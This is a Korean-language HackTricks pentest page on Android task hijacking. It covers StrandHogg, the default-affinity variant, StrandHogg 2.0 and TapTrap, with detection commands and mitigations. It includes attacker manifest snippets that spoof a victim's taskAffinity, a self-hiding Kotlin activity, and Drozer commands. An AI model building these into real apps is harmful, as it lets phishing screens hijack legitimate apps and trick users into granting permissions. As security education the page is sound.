Android Task Hijacking

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

Task, Back Stack and Foreground Activities

μ•ˆλ“œλ‘œμ΄λ“œμ—μ„œ taskλŠ” μ‚¬μš©μžκ°€ νŠΉμ • μž‘μ—…μ„ μ™„λ£Œν•˜κΈ° μœ„ν•΄ μƒν˜Έμž‘μš©ν•˜λŠ” ν™œλ™μ˜ μ§‘ν•©μœΌλ‘œ, back stack 내에 μ‘°μ§λ©λ‹ˆλ‹€. 이 μŠ€νƒμ€ ν™œλ™μ΄ μ—΄λ¦° μˆœμ„œμ— 따라 μ •λ ¬λ˜λ©°, κ°€μž₯ 졜근의 ν™œλ™μ΄ foreground activity둜 ν™”λ©΄ 상단에 ν‘œμ‹œλ©λ‹ˆλ‹€. μ–Έμ œλ“ μ§€ 이 ν™œλ™λ§Œ 화면에 λ³΄μ΄λ―€λ‘œ foreground task의 일뢀가 λ©λ‹ˆλ‹€.

ν™œλ™ μ „ν™˜μ— λŒ€ν•œ κ°„λ‹¨ν•œ μš”μ•½μ€ λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

  • Activity 1은 foregroundμ—μ„œ μœ μΌν•œ ν™œλ™μœΌλ‘œ μ‹œμž‘λ©λ‹ˆλ‹€.
  • Activity 2λ₯Ό μ‹œμž‘ν•˜λ©΄ Activity 1이 back stack으둜 λ°€λ €λ‚˜κ³ , Activity 2κ°€ foreground둜 μ˜¬λΌμ˜΅λ‹ˆλ‹€.
  • Activity 3을 μ‹œμž‘ν•˜λ©΄ Activity 1κ³Ό Activity 2κ°€ μŠ€νƒμ—μ„œ 더 λ’€λ‘œ 밀리고, Activity 3이 μ•žμ— μœ„μΉ˜ν•©λ‹ˆλ‹€.
  • Activity 3을 λ‹«μœΌλ©΄ Activity 2κ°€ λ‹€μ‹œ foreground둜 λŒμ•„μ™€ μ•ˆλ“œλ‘œμ΄λ“œμ˜ κ°„μ†Œν™”λœ μž‘μ—… 탐색 λ©”μ»€λ‹ˆμ¦˜μ„ λ³΄μ—¬μ€λ‹ˆλ‹€.

https://developer.android.com/images/fundamentals/diagram_backstack.png


Task affinity attacks

taskAffinityλŠ” μ•ˆλ“œλ‘œμ΄λ“œμ— Activityκ°€ μ„ ν˜Έν•˜λŠ” μž‘μ—…μ„ μ•Œλ €μ€λ‹ˆλ‹€. 두 ν™œλ™μ΄ λ™μΌν•œ affinityλ₯Ό κ³΅μœ ν•  경우 μ•ˆλ“œλ‘œμ΄λ“œλŠ” μ„œλ‘œ λ‹€λ₯Έ APKμ—μ„œ 온 κ²½μš°μ—λ„ λ™μΌν•œ back-stack λ‚΄μ—μ„œ 이λ₯Ό 병합할 수 μžˆμŠ΅λ‹ˆλ‹€.

κ³΅κ²©μžκ°€ κ·Έ μŠ€νƒμ˜ root에 μ•…μ„± ν™œλ™μ„ λ°°μΉ˜ν•  수 μžˆλ‹€λ©΄, ν”Όν•΄μžκ°€ 합법적인 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ—΄ λ•Œλ§ˆλ‹€ μ•…μ„± UIκ°€ μ‚¬μš©μžκ°€ κ°€μž₯ λ¨Όμ € λ³΄λŠ” 것이 λ©λ‹ˆλ‹€ – ν”Όμ‹±μ΄λ‚˜ μ•…μš© κΆŒν•œ μš”μ²­μ— μ™„λ²½ν•©λ‹ˆλ‹€.

곡격 ν‘œλ©΄μ€ λ§Žμ€ κ°œλ°œμžλ“€μ΄ μƒκ°ν•˜λŠ” 것보닀 λ„“μŠ΅λ‹ˆλ‹€. μ™œλƒν•˜λ©΄ λͺ¨λ“  ν™œλ™μ€ μžλ™μœΌλ‘œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜ νŒ¨ν‚€μ§€ 이름과 λ™μΌν•œ affinityλ₯Ό 상속받기 λ•Œλ¬Έμž…λ‹ˆλ‹€ (κ°œλ°œμžκ°€ android:taskAffinity=""λ₯Ό μ„€μ •ν•˜μ§€ μ•ŠλŠ” ν•œ). λ”°λΌμ„œ 아무것도 ν•˜μ§€ μ•ŠλŠ” κ²ƒλ§ŒμœΌλ‘œλ„ μ•ˆλ“œλ‘œμ΄λ“œ 11 이전 λ²„μ „μ—μ„œ μž‘μ—… νƒˆμ·¨μ— λ…ΈμΆœλ©λ‹ˆλ‹€.

Classic β€œsingleTask / StrandHogg” scenario

  1. κ³΅κ²©μžλŠ” λ‹€μŒκ³Ό 같이 ν™œλ™μ„ μ„ μ–Έν•©λ‹ˆλ‹€:
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. μ•…μ„± 앱이 ν•œ 번 μ‹œμž‘λ˜μ–΄ (μŠ€ν‘Έν•‘λœ affinityλ₯Ό κ°€μ§„) μž‘μ—…μ΄ 졜근 μž‘μ—…μ— μ‘΄μž¬ν•˜κ²Œ λ©λ‹ˆλ‹€.
  2. μ‚¬μš©μžκ°€ λ‚˜μ€‘μ— μ‹€μ œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ—΄λ©΄ μ•ˆλ“œλ‘œμ΄λ“œλŠ” 이미 root affinityκ°€ νŒ¨ν‚€μ§€μ™€ μΌμΉ˜ν•˜λŠ” μž‘μ—…μ΄ μžˆμŒμ„ μ°Ύμ•„ κ·Έ μž‘μ—…μ„ foreground둜 κ°€μ Έμ˜΅λ‹ˆλ‹€.
  3. 곡격자의 UIκ°€ λ¨Όμ € ν‘œμ‹œλ©λ‹ˆλ‹€.

Default–Affinity (no singleTask) variant – Caller ID case study

Caller ID (caller.id.phone.number.block) μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ 보고된 취약점은 곡격이 κΈ°λ³Έ standard μ‹€ν–‰ λͺ¨λ“œμ—μ„œλ„ μž‘λ™ν•¨μ„ λ³΄μ—¬μ€λ‹ˆλ‹€:

  1. 곡격자 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ κ°€μ§œ 루트 ν™œλ™μ„ μƒμ„±ν•˜κ³  μ¦‰μ‹œ μžμ‹ μ„ μˆ¨κΉλ‹ˆλ‹€:
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true)   // μž‘μ—…μ„ 졜근 λͺ©λ‘μ— μœ μ§€ν•˜λ˜ μ‹œμ•Όμ—μ„œ 벗어남
}
}
  1. λ§€λ‹ˆνŽ˜μŠ€νŠΈλŠ” ν”Όν•΄μž νŒ¨ν‚€μ§€λ₯Ό taskAffinity에 λ³΅μ‚¬ν•˜κΈ°λ§Œ ν•˜λ©΄ λ©λ‹ˆλ‹€:
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. μ‚¬μš©μžκ°€ μ•…μ„± 앱을 ν•œ 번 μ„€μΉ˜ν•˜κ³  μ—΄λ©΄ ν”Όν•΄μž νŒ¨ν‚€μ§€μ™€ λ™μΌν•œ affinityλ₯Ό κ°€μ§„ μž‘μ—…μ΄ μ‘΄μž¬ν•˜κ²Œ λ©λ‹ˆλ‹€ (ν•˜μ§€λ§Œ λ°±κ·ΈλΌμš΄λ“œμ— μœ„μΉ˜).
  2. μ‹€μ œ Caller ID μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ μ‹€ν–‰λ˜λ©΄ μ•ˆλ“œλ‘œμ΄λ“œλŠ” κ·Έ μž‘μ—…μ„ μž¬μ‚¬μš©ν•˜κ³  HackActivityλ₯Ό foreground둜 κ°€μ Έμ˜΅λ‹ˆλ‹€ β†’ ν”Όμ‹± μ°½/κΆŒν•œ λ‚¨μš©.

NOTE: **Android 11 (API 30)**λΆ€ν„° μ‹œμŠ€ν…œμ€ 기본적으둜 λ™μΌν•œ UID에 μ†ν•˜μ§€ μ•ŠλŠ” 두 νŒ¨ν‚€μ§€λ₯Ό λ™μΌν•œ μž‘μ—…μ— λ°°μΉ˜ν•˜μ§€ μ•ŠμœΌλ―€λ‘œ 이 νŠΉμ • λ³€ν˜•μ„ μ™„ν™”ν•©λ‹ˆλ‹€. 이전 버전은 μ—¬μ „νžˆ μ·¨μ•½ν•©λ‹ˆλ‹€.


StrandHogg 2.0 (CVE-2020-0096) – Reflection-based task hijack

κ΅¬κΈ€μ˜ 2020λ…„ 5μ›” λ³΄μ•ˆ κ³΅μ§€λŠ” StrandHogg 2.0μ΄λΌλŠ” 더 κ³ κΈ‰ λ³€ν˜•μ„ μˆ˜μ •ν–ˆμŠ΅λ‹ˆλ‹€. 이 μ΅μŠ€ν”Œλ‘œμž‡μ€ μ „ν˜€ taskAffinity에 μ˜μ‘΄ν•˜μ§€ μ•ŠμœΌλ©°; λŒ€μ‹  reflection을 μ‚¬μš©ν•˜μ—¬ 곡격자의 ν™œλ™μ„ λͺ¨λ“  μ‹€ν–‰ 쀑인 μž‘μ—…μ˜ 맨 μœ„μ— λ™μ μœΌλ‘œ μ‚½μž…ν•˜μ—¬ μ•ˆλ“œλ‘œμ΄λ“œ 11μ—μ„œ λ„μž…λœ β€œshared-UID” μ œν•œμ„ μ™„μ „νžˆ μš°νšŒν•©λ‹ˆλ‹€.

μ£Όμš” 사항:

  • 제둜 κΆŒν•œ μ•…μ„± 앱은 ν•œ 번 열리면 μ‹€ν–‰ 쀑인 μž‘μ—…μ„ λ°˜λ³΅ν•˜κ³  μˆ¨κ²¨μ§„ APIλ₯Ό ν˜ΈμΆœν•˜μ—¬ μžμ‹ μ˜ ν™œλ™μ„ μ–΄λ–€ μž‘μ—…μœΌλ‘œλ“  μž¬λΆ€λͺ¨ν™”ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  • ν™œλ™μ΄ λŸ°νƒ€μž„ 후에 μ‚½μž…λ˜κΈ° λ•Œλ¬Έμ— launchModeλ‚˜ 정적 λ§€λ‹ˆνŽ˜μŠ€νŠΈ λΆ„μ„μœΌλ‘œλŠ” 곡격을 사전에 감지할 수 μ—†μŠ΅λ‹ˆλ‹€.
  • Android 8.0/8.1/9에 체크λ₯Ό λ°±ν¬νŠΈν•˜μ—¬ νŒ¨μΉ˜λ˜μ—ˆμŠ΅λ‹ˆλ‹€ (2020λ…„ 5μ›” SPL). Android 10 이상은 영ν–₯을 λ°›μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

νŒ¨μΉ˜λ˜μ§€ μ•Šμ€ μž₯μΉ˜μ—μ„œμ˜ νƒμ§€λŠ” adb shell dumpsys activity activitiesλ₯Ό μ‚¬μš©ν•˜μ—¬ μˆ˜ν–‰ν•  수 있으며, μž‘μ—…μ˜ affinity와 νŒ¨ν‚€μ§€ 이름이 λ‹€λ₯Έ μ˜μ‹¬μŠ€λŸ¬μš΄ ν™œλ™μ„ κ°μ‹œν•©λ‹ˆλ‹€.

κ΅¬ν˜• μž₯μΉ˜μ— λŒ€ν•œ μ™„ν™”λŠ” 고전적인 μž‘μ—… νƒˆμ·¨μ™€ λ™μΌν•˜λ©° + λŸ°νƒ€μž„ 검증이 ν•„μš”ν•©λ‹ˆλ‹€ (예: ActivityManager#getRunningTasksλ₯Ό ν˜ΈμΆœν•˜κ³  μžμ‹ μ˜ νŒ¨ν‚€μ§€ 이름을 검증).


Detection & Exploitation checklist

  1. Static review – λŒ€μƒ APKμ—μ„œ AndroidManifest.xmlλ₯Ό 가져와 각 <activity> (λ˜λŠ” μ „μ—­ <application> μš”μ†Œ)κ°€ android:taskAffinity="" (λΉ„μ–΄ 있음) λ˜λŠ” μ‚¬μš©μž μ •μ˜ 값을 ν¬ν•¨ν•˜λŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€. 도ꡬ μ˜ˆμ‹œ:
# apkanalyzer (Android SDK) μ‚¬μš©
apkanalyzer manifest print app.apk | grep -i taskaffinity

# AXMLPrinter2 μ‚¬μš©
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
  1. Dynamic review – μž₯μΉ˜μ—μ„œ λŒ€μƒ 앱을 μ—΄κ³  μž‘μ—… λͺ©λ‘μ„ λ‚˜μ—΄ν•©λ‹ˆλ‹€:
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"

루트 affinityκ°€ ν”Όν•΄μž νŒ¨ν‚€μ§€μ™€ κ°™μ§€λ§Œ μ΅œμƒμœ„ ν™œλ™μ΄ λ‹€λ₯Έ νŒ¨ν‚€μ§€μ— μ†ν•˜λŠ” μž‘μ—…μ€ κ²½κ³  μ‹ ν˜Έμž…λ‹ˆλ‹€. 3. μœ„μ—μ„œ μ„€λͺ…ν•œ λŒ€λ‘œ μ•…μ„± 앱을 μ œμž‘ν•˜κ±°λ‚˜ **Drozer**λ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€:

drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim

Mitigation

κ°œλ°œμžλŠ” λ‹€μŒμ„ μˆ˜ν–‰ν•΄μ•Ό ν•©λ‹ˆλ‹€:

  • <application> μˆ˜μ€€μ—μ„œ android:taskAffinity=""λ₯Ό λͺ…μ‹œμ μœΌλ‘œ μ„€μ •ν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€ λ˜λŠ” 각 ν™œλ™μ— κ³ μœ ν•˜κ³  개인적인 affinityλ₯Ό λΆ€μ—¬ν•©λ‹ˆλ‹€.
  • 맀우 λ―Όκ°ν•œ ν™”λ©΄μ˜ 경우 μœ„μ˜ 방법과 android:launchMode="singleInstance" λ˜λŠ” ν˜„λŒ€μ μΈ setLaunchMode 보호λ₯Ό κ²°ν•©ν•©λ‹ˆλ‹€.
  • μ•±μ˜ targetSdkVersion을 μ—…κ·Έλ ˆμ΄λ“œν•˜κ³  기본적으둜 νŒ¨ν‚€μ§€ 간에 μž‘μ—…μ΄ κ³΅μœ λ˜μ§€ μ•ŠλŠ” Android 11의 λ™μž‘ λ³€κ²½ 사항을 μ‹œν–‰ν•©λ‹ˆλ‹€.
  • Android 12 (API 31) 이상을 λͺ©ν‘œλ‘œ ν•˜μ—¬ ν•„μˆ˜ android:exported 속성이 κ°œλ°œμžκ°€ μ™ΈλΆ€μ—μ„œ μ ‘κ·Ό κ°€λŠ₯ν•œ λͺ¨λ“  ꡬ성 μš”μ†Œλ₯Ό κ°μ‚¬ν•˜λ„λ‘ κ°•μ œν•©λ‹ˆλ‹€.
  • λŸ°νƒ€μž„ 자기 λ°©μ–΄λ₯Ό κ³ λ €ν•©λ‹ˆλ‹€: 주기적으둜 ActivityTaskManagerλ₯Ό μΏΌλ¦¬ν•˜μ—¬ μ΅œμƒμœ„ ν™œλ™μ˜ νŒ¨ν‚€μ§€κ°€ μžμ‹ μ˜ 것과 μΌμΉ˜ν•˜λŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€.

μž‘μ—… νƒˆμ·¨λŠ” μ’…μ’… tapjacking (μ˜€λ²„λ ˆμ΄ 기반 UI μ†μž„μˆ˜)와 κ²°ν•©λ˜κ±°λ‚˜ λŒ€μ²΄λ©λ‹ˆλ‹€. 2025λ…„ TapTrap μ—°κ΅¬λŠ” μ™„μ „νžˆ 투λͺ…ν•œ μ• λ‹ˆλ©”μ΄μ…˜ 기반 ν™œλ™μ΄ μ•ˆλ“œλ‘œμ΄λ“œ 12–14μ—μ„œ λ„μž…λœ μ˜€λ²„λ ˆμ΄ ν„°μΉ˜ μ œν•œμ„ μš°νšŒν•˜κ³  μ—¬μ „νžˆ μ‚¬μš©μžκ°€ μœ„ν—˜ν•œ κΆŒν•œμ„ λΆ€μ—¬ν•˜λ„λ‘ 속일 수 μžˆμŒμ„ λ³΄μ—¬μ£Όμ—ˆμŠ΅λ‹ˆλ‹€. TapTrap은 μ—„λ°€νžˆ 말해 task νƒˆμ·¨λŠ” μ•„λ‹ˆμ§€λ§Œ, μ΅œμ’… λͺ©ν‘œ(ν”Όμ‹± 클릭)λŠ” λ™μΌν•˜λ―€λ‘œ ν˜„λŒ€μ μΈ ν‰κ°€μ—μ„œλŠ” 두 곡격 ν‘œλ©΄μ„ λͺ¨λ‘ 확인해야 ν•©λ‹ˆλ‹€.


References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°